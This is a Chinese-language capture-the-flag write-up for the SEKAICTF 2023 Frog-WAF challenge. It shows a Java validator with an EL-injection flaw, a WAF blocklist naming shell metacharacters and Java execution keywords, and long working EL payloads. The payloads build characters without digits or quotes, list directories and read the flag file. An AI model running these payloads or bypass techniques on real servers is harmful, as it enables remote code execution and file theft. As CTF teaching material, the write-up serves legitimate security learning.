SEKAICTF2023 Frog-WAF WP(无数字、引号EL注入)

131

SEKAICTF2023 Frog-WAF WP

题目的漏洞点在于下面这段代码

package com.sekai.app.controller.contact;

import com.sekai.app.waf.FrogWaf;
import lombok.SneakyThrows;
import lombok.val;
import org.springframework.core.io.ClassPathResource;
import org.springframework.util.StreamUtils;

import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import java.nio.charset.Charset;
import java.nio.file.AccessDeniedException;
import java.util.Arrays;

public class CountryValidator implements ConstraintValidator<CheckCountry, String> {

    @SneakyThrows
    @Override
    public boolean isValid(final String input, final ConstraintValidatorContext constraintContext) {
        if (input == null) {
            return true;
        }

        val v = FrogWaf.getViolationByString(input);
        if (v.isPresent()) {
            val msg = String.format("Malicious input found: %s", v);
            throw new AccessDeniedException(msg);
        }
      
        val countries = StreamUtils.copyToString(new ClassPathResource("countries").getInputStream(), Charset.defaultCharset()).split("\n");
        val isValid = Arrays.asList(countries).contains(input);

        if (!isValid) {
            val message = String.format("%s is not a valid country", input);
            System.out.println(message);
            constraintContext.disableDefaultConstraintViolation();
            constraintContext.buildConstraintViolationWithTemplate(message)
                    .addConstraintViolation();
        }
        return isValid;
    }
}

其中 constraintContext.buildConstraintViolationWithTemplate(message).addConstraintViolation();这里会存在表达式注入的问题。这类漏洞称为BeanValidation的RCE,之前有在nexus等project中爆出过cve,其支持el语法。

接下来就是怎么绕过Frag-WAF,在项目中的一个enum类中定义了waf的所有黑名单

package com.sekai.app.waf;

import lombok.Getter;

public enum AttackTypes {
    SQLI("\"", "'", "#"),
    XSS(">", "<"),
    OS_INJECTION("bash", "&", "|", ";", "`", "~", "*"),
    CODE_INJECTION("for", "while", "goto", "if"),
    JAVA_INJECTION("Runtime", "class", "java", "Name", "char", "Process", "cmd", "eval", "Char", "true", "false"),
    IDK("+", "-", "/", "*", "%", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");

    @Getter
    private final String[] attackStrings;

    AttackTypes(String... attackStrings) {
        this.attackStrings = attackStrings;
    }

}

字符、数字等等都过滤掉了,并且这里的el并没有pageContext等属性,debug了一下看看存在哪些var,只有5个

截屏2023-08-28 20.24.47

数字1~n获取

  • 可以通过计算str的len并concat凑出1~n的数字

  • // 数字1
    ${Class.getClass().toString().length().toString().length().toString().length()} 
    // 数字2
    ${Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).length()}
    

字母获取

  • 有了数字,我们可以通过substring来截取字符串中的字符

  • // 字符java
    ${String.getClass().toString().substring(6,10)}
    // 有些字符可以从classloader的toString中sub
    ${Class.getClass().getClassLoader().toString().substring(1,2)}
    

数字0获取

  • message.getClass()是java.lang.String,我们可以反射执行类似new String()的效果,这样string为空,length也自然是0了

  • message.getClass().getDeclaredConstructors()[Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length()].newInstance().length()
    

字符/获取

  • 因为不出网,于是想直接读文件,但是不管是目录还是/flagxxx都离不开/字符,最先想到了一个笨拙的方法就是,通过反射调用(注意这里使用了getClassLoader().loadClass()来代替了Class.forName()来绕过队Name关键字的nop)java.lang.System.getProperty("user.dir")获取用户目录再substring获取/字符

列目录

  • 列目录这里选择了public org.springframework.core.io.FileSystemResource(java.lang.String) 方法,反射调用再list,最后发现flag的文件名

截屏2023-08-28 20.34.32

任意字符获取

  • flag中居然有-字符,这是一开始没想到,不过也有应对的措施,就是通过反射获取public static char[] java.lang.Character.toChars(int)函数,来获取任意字符,其中字母我们有,数字我们有,显然可以

  • // 字符-
    message.getClass().getDeclaredConstructors()
    [Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length()].newInstance(String.getClass().getClassLoader().loadClass(validatedValue.getClass().toString().substring(Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length(),Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length()).concat(String.getClass().toString().substring(message.concat(Class.getClass().toString().length().toString()).length(),message.concat(Class.getClass().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString().length()).length())).concat(Class.getClass().getClassLoader().toString().substring(message.concat(message).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length(),message.concat(message).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length())).concat(String.getClass().toString().substring(Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).length(),Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length())).concat(message.getClass().toString().substring(message.concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length(),message.concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length())).concat(String.getClass().toString().substring(Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).length(),Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length())).concat(String.getClass().toString().substring(message.concat(Class.getClass().toString().length().toString()).length(),message.concat(Class.getClass().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString().length()).length()).toLowerCase()).concat(Class.getClass().getClassLoader().toString().substring(Class.getClass().toString().concat(Class.getClass().toString().length().toString().length().toString()).length(),Class.getClass().toString().concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length())).concat(Class.getClass().getClassLoader().toString().substring(Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length(),message.length())).concat(message.getClass().toString().substring(message.concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length(),message.concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length()))).getDeclaredMethods()[Class.getClass().toString().length().toString().length().toString().concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).concat(Class.getClass().toString().length().toString().length().toString()).length()].invoke(null,message.concat(message).concat(message).length()))
    

读flag

  • 前面可以通过执行FileSystemResource类的静态方法来获取File对象,后面可以再.getInputStream().readAllBytes()来获取byte数组,之后在反射new String一下即可回显,由于payload过长,就不贴了(看看获取字符-有多长就可想而之)截屏2023-08-28 20.39.27